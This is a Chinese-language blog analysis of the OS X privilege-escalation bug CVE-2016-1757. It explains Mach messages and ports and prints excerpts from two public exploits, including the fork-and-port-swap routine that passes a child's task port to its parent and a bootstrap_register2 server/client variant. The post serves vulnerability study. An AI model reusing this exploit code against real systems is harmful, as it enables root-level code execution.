再看CVE-2016-1757---浅析mach message的使用

0x00 摘要

CVE-2016-1757是一个OS X系统上通过条件竞争实现任意代码在root权限执行的漏洞。在这篇文章之前,我已经分析过了这个漏洞的原理,以及EXP代码的实现。

CVE-2016-1757简单分析

CVE-2016-1757利用程序分析

利用patch绕过kextload对内核签名的检测

syscan2016上又有国外的安全研究人员放出自己的利用代码。学习之后,这个利用代码确实比之前的更加清晰、明确。更加容易理解。

而两个利用本质上面的不同是对mach port的不同的利用方法。下面主要结合两个不同的POC,来分析一下mach message的使用,同时也是研究xnuIPC的基础。

0x01 Mach

MachOS X的内核中处于最接近底层的一个模块。是XNU内核的内核。是一个BSD层包裹的微内核。而内核中的task,thread,virtual memory等模块,对于Mach来说,都是一个Object。这些Objects基于Mach实现自己的功能,并且通过Mach Message来进行相互之间的通信。

The Mach kernel thus becomes a low-level foundation, concerning itself with only the bare mini-mum required for driving the operating system. Everything else may be implemented by some higher layer of an operating system, which then draws on the Mach primitives and manipulate them inwhatever way it sees fit.

​ ——–Mac OS® X and iOS Internals

1.1 Mach Messages

Mach Messages总共有两种,分别是Simple MessagesComplex Messages

1.1.1 Simple Message

Simple Message的结构体,大致如下图所示。

simple message

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
typedef struct
{
natural_t pad1;
mach_msg_size_t pad2;
unsigned int pad3 : 24;
mach_msg_descriptor_type_t type : 8;
} mach_msg_type_descriptor_t;

typedef struct
{
mach_msg_size_t msgh_descriptor_count;
} mach_msg_body_t;

typedef struct
{
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;

在使用mach message时,可以自己定义一个数据结构,更方便的编写代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_type_descriptor_t type;
} message;

message.header = (mach_msg_header_t) {
.msgh_remote_port = port,
.msgh_local_port = MACH_PORT_NULL,
.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0),
.msgh_size = sizeof(message)
};

message.body = (mach_msg_body_t) {
.msgh_descriptor_count = 1
};

message.type = (mach_msg_type_descriptor_t) {
.pad1 = data,
.pad2 = sizeof(data)
};

构建一个message,然后调用mach API发送这个消息。当然msgh_descriptor_count也可以是其他值,那么就要有相对于个数的mach_msg_type_descriptor_t

1.1.2 Complex Messages

Complex MessagesSimple Message对比,多了一个附加的数据Mach Trailers。并且数据描述符的定义也不同了。

complex message

描述符的定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

typedef struct
{
void* address;
#if !defined(__LP64__)
mach_msg_size_t size;
#endif
boolean_t deallocate: 8;
mach_msg_copy_options_t copy: 8;
unsigned int pad1: 8;
mach_msg_descriptor_type_t type: 8;
#if defined(__LP64__)
mach_msg_size_t size;
#endif
} mach_msg_ool_descriptor_t;

1.2 ports

1.2.1 port 的权限

每一条Mach Message都是从一个port发送到另外一个port,而每一个port都有自己的权限。

  • SEND:将Mach Message添加到port的队列中。
  • RECIVE:允许从队列中读取Mach Message。一般情况下只有port的持有者拥有这个权利。

port以及他的权限,可以从一个进程转交给另外一个进程,这也就是这一次要分析的EXP的主要原理。

1.2.2 一些特殊的port

当每一个task被创建的时候,系统都会提供一系列特殊的port,在这些port当中,我们比较感兴趣的是以下几种:

  • host port:代表正在运行该task的整台机器的port
  • task port: 正在运行的task本身的port
  • bootstrap port : 和bootstrap server连接着的一个port

1.3 Send&Recv Messages

Message的发送与接收,都是使用同一个mach APImach_msg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
kr = mach_msg(recv_hdr,              // message buffer
msg_options, // option indicating receive
0, // send size
recv_hdr->msgh_size, // size of header + body
server_port, // receive name
MACH_MSG_TIMEOUT_NONE, // no timeout, wait forever
MACH_PORT_NULL); // no notification port

kr = mach_msg(send_hdr, // message buffer
MACH_SEND_MSG, // option indicating send
send_hdr->msgh_size, // size of header + body
0, // receive limit
MACH_PORT_NULL, // receive name
MACH_MSG_TIMEOUT_NONE, // no timeout, wait forever
MACH_PORT_NULL); // no notification port

根据参数的不同,实现了接收Message和发送Message不同的功能。

通过对源码的阅读,mach_msg实际上是调用了mach_msg_overwrite_trap,进入内核中,通过ipc_kmsg_*系列函数,来实现的消息发送与接收。大致如下图所示。

图片转自(http://blog.ibireme.com/2015/05/18/runloop/)。

0x02 The Port Swap Dance

了解了portMach Message的基础知识之后,先来回顾一下我们已经分析过的EXP中,有这样一段代码。

2.1 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port;
} port_msg_send_t;

// mach message for receiving a port right
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port;
mach_msg_trailer_t trailer;
} port_msg_rcv_t;

typedef struct {
mach_msg_header_t header;
} simple_msg_send_t;

typedef struct {
mach_msg_header_t header;
mach_msg_trailer_t trailer;
} simple_msg_rcv_t;

#define STOLEN_SPECIAL_PORT TASK_BOOTSTRAP_PORT

// a copy in the parent of the stolen special port such that it can be restored
mach_port_t saved_special_port = MACH_PORT_NULL;

// the shared port right in the parent
mach_port_t shared_port_parent = MACH_PORT_NULL;

void setup_shared_port() {
kern_return_t err;
// get a send right to the port we're going to overwrite so that we can both
// restore it for ourselves and send it to our child
err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &saved_special_port);
MACH_ERR("saving original special port value", err);

// allocate the shared port we want our child to have a send right to
err = mach_port_allocate(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&shared_port_parent);

MACH_ERR("allocating shared port", err);

// insert the send right
err = mach_port_insert_right(mach_task_self(),
shared_port_parent,
shared_port_parent,
MACH_MSG_TYPE_MAKE_SEND);
MACH_ERR("inserting MAKE_SEND into shared port", err);

// stash the port in the STOLEN_SPECIAL_PORT slot such that the send right survives the fork
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, shared_port_parent);
MACH_ERR("setting special port", err);
}

mach_port_t recover_shared_port_child() {
kern_return_t err;

// grab the shared port which our parent stashed somewhere in the special ports
mach_port_t shared_port_child = MACH_PORT_NULL;
err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &shared_port_child);
MACH_ERR("child getting stashed port", err);

LOG("child got stashed port");

// say hello to our parent and send a reply port so it can send us back the special port to restore

// allocate a reply port
mach_port_t reply_port;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
MACH_ERR("child allocating reply port", err);

// send the reply port in a hello message
simple_msg_send_t msg = {0};

msg.header.msgh_size = sizeof(msg);
msg.header.msgh_local_port = reply_port;
msg.header.msgh_remote_port = shared_port_child;
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);

err = mach_msg_send(&msg.header);
MACH_ERR("child sending task port message", err);

LOG("child sent hello message to parent over shared port");

// wait for a message on the reply port containing the stolen port to restore
port_msg_rcv_t stolen_port_msg = {0};
err = mach_msg(&stolen_port_msg.header, MACH_RCV_MSG, 0, sizeof(stolen_port_msg), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
MACH_ERR("child receiving stolen port\n", err);

// extract the port right from the message
mach_port_t stolen_port_to_restore = stolen_port_msg.port.name;
if (stolen_port_to_restore == MACH_PORT_NULL) {
FAIL("child received invalid stolen port to restore");
}

// restore the special port for the child
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, stolen_port_to_restore);
MACH_ERR("child restoring special port", err);

LOG("child restored stolen port");
return shared_port_child;
}

mach_port_t recover_shared_port_parent() {
kern_return_t err;

// restore the special port for ourselves
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, saved_special_port);
MACH_ERR("parent restoring special port", err);

// wait for a message from the child on the shared port
simple_msg_rcv_t msg = {0};
err = mach_msg(&msg.header,
MACH_RCV_MSG,
0,
sizeof(msg),
shared_port_parent,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
MACH_ERR("parent receiving child hello message", err);

LOG("parent received hello message from child");

// send the special port to our child over the hello message's reply port
port_msg_send_t special_port_msg = {0};

special_port_msg.header.msgh_size = sizeof(special_port_msg);
special_port_msg.header.msgh_local_port = MACH_PORT_NULL;
special_port_msg.header.msgh_remote_port = msg.header.msgh_remote_port;
special_port_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits), 0) | MACH_MSGH_BITS_COMPLEX;

special_port_msg.body.msgh_descriptor_count = 1;

special_port_msg.port.name = saved_special_port;
special_port_msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
special_port_msg.port.type = MACH_MSG_PORT_DESCRIPTOR;

err = mach_msg_send(&special_port_msg.header);
MACH_ERR("parent sending special port back to child", err);

return shared_port_parent;
}

int main(int argc, char** argv) {
parse_args(argc, argv);

// check that the original is actually a 64-bit mach-o and not a fat binary
verify_original(original, original_length);

// apply the patch to the original
apply_patch(original, original_length, patch, patch_length);

int tries = 0;
for (;;) {
setup_shared_port();

pid_t child_pid = fork();
if (child_pid == -1) {
FAIL("forking");
}

if (child_pid == 0) {
mach_port_t shared_port_child = recover_shared_port_child();
do_child(shared_port_child);
} else {
mach_port_t shared_port_parent = recover_shared_port_parent();
do_parent(shared_port_parent);

int status;
wait(&status);

if (status == 0) {
LOG("worked :-)");
break;
}

tries++;
if (tries > max_tries) {
FAIL("either didn't win the race (try again) or we won but the child didn't exit cleanly with a 0 return code");
break;
}

LOG("trying again...");
}
}

return 0;
}

通过一个saved_special_port完成了,父进程与子进程之间的port传递,从而使得父进程与子进程共享同一个port,子进程再通过共享的port,将自身的taskport发送给父进程并最终在父进程中实现对子进程代码段修改,执行任意代码,详情见这里

2.2 解析

  1. 父进程通过task_get_special_port获取他的special ports,并存储在局部变量中。special ports是一些连接着系统服务的port,在fork的过程中,子进程会继承special port
  2. 父进程通过mach_port_allocate函数创建一个新的port,通过task_set_special_port将这个新的port设为special port,且通过mach_port_insert_right为这个新的port赋予写的权限。并最终试图将这个新的port传递给子进程。
  3. 父进程进行fork,子进程继承了[2]中创建的新的port,作为自己的special port
  4. 父进程将保存的在临时变量中的special port,重新设置回来。
  5. 子进程获取这个替换过的special port,并且保存下来。
  6. 子进程通过继承的special port和父进程通信。
  7. 父进程在收到子进程的消息后,将当前的special port再发送给子进程。
  8. 子进程也将收到的special port设置为自己的special port

时序图大致如下:

port dance

通过上面的分析,可以得知,再利用这个漏洞的时候,我们想要的就是一个父进程与子进程共同持有,且可以用来交流的port,通过这个port,子进程可以将自己的task port交给另外一个进程,这里是父进程,来实现漏洞的利用。

0x03 server&client

那么新的EXP使用了什么方法实现的呢?

3.1 bootstrap_register

每一个task可以调用bootstrap_register()函数,向bootstrap server注册一个服务,通过一个字符串与自己的task port相关联。其他的task可以通过bootstrap_look_up函数来通过字符串查询对应的taskport

那么问题就一目了然了。

  • 建了一个进程A,通过bootstrap_register注册一个服务。
  • 建立一个进程B,通过bootstrap_look_up获取进程A的task port
  • 进程B通过进程A的task port将自己的task port告知进程A。
  • 进程A通过进程B的task port配合进程B,出发漏洞。

3.2 bootstrap_register2

这个方案虽然简单明了,但是缺有一个问题,bootstrap_register在10.5之后的版本就没有了。

不过网上有个一简单的替代方法,在-[NSMachBootstrapServer registerPort:name:]中封装了一个bootstrap_register2,只不过并没有导出到外部,所以只需要添加一行代码就可以使用bootstrap_register2来完成相应的功能。

1
2
3
4
5
/* 
* this is not exported so we need to declare it
* we need to use this because bootstrap_create_server is broken in Yosemite
*/

extern kern_return_t bootstrap_register2(mach_port_t bp, name_t service_name, mach_port_t sp, int flags);

3.3 实际代码

摘取利用代码中相关代码段。

mach_server.c

1
2
3
4
5
6
7
8
9

/* register the server with launchd */
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &server_port);

kr = mach_port_insert_right(mach_task_self(), server_port, server_port, MACH_MSG_TYPE_MAKE_SEND);

kr = bootstrap_register2(bootstrap_port, SERVICE_NAME, server_port, 0);

/* alternative method to register with launchd */

mach_client.c

1
2
3
4
5
6
7
8

DEBUG_MSG("Looking up server...");
kr = bootstrap_look_up(bootstrap_port, SERVICE_NAME, &server_port);
EXIT_ON_MACH_ERROR("bootstrap_look_up", kr, BOOTSTRAP_SUCCESS);

kr = mach_port_allocate(mach_task_self(), // our task is acquiring
MACH_PORT_RIGHT_RECEIVE, // a new receive right
&client_port); // with this name

0x04 小结

有兴趣的读者可以仔细阅读fG!的利用,与之前的利用代码的不同之处并不止在mach message的利用这一点上。以后有时间还会做出更细致的分析。

引用

1.Inter-Process Communication

http://nshipster.com/inter-process-communication/

2.Debugging Mach Ports

https://robert.sesek.com/2012/1/debugging_mach_ports.html

3.Changes to XNU Mach IPC

https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html

4.A Little IPC Project

http://www.nongnu.org/hurdextras/ipc_guide/mach_ipc_basic_concepts.html

5.深入理解RunLoop

http://blog.ibireme.com/2015/05/18/runloop/

PS

这是我的学习分享博客http://turingh.github.io/

欢迎大家来探讨,不足之处还请指正。

文章目录
  1. 1. 0x00 摘要
  2. 2. 0x01 Mach
    1. 2.1. 1.1 Mach Messages
      1. 2.1.1. 1.1.1 Simple Message
      2. 2.1.2. 1.1.2 Complex Messages
    2. 2.2. 1.2 ports
      1. 2.2.1. 1.2.1 port 的权限
      2. 2.2.2. 1.2.2 一些特殊的port
    3. 2.3. 1.3 Send&Recv Messages
    4. 2.4. 0x02 The Port Swap Dance
      1. 2.4.1. 2.1 源码
      2. 2.4.2. 2.2 解析
  3. 3. 0x03 server&client
    1. 3.1. 3.1 bootstrap_register
    2. 3.2. 3.2 bootstrap_register2
    3. 3.3. 3.3 实际代码
  4. 4. 0x04 小结
  5. 5. 引用
  6. 6. PS
,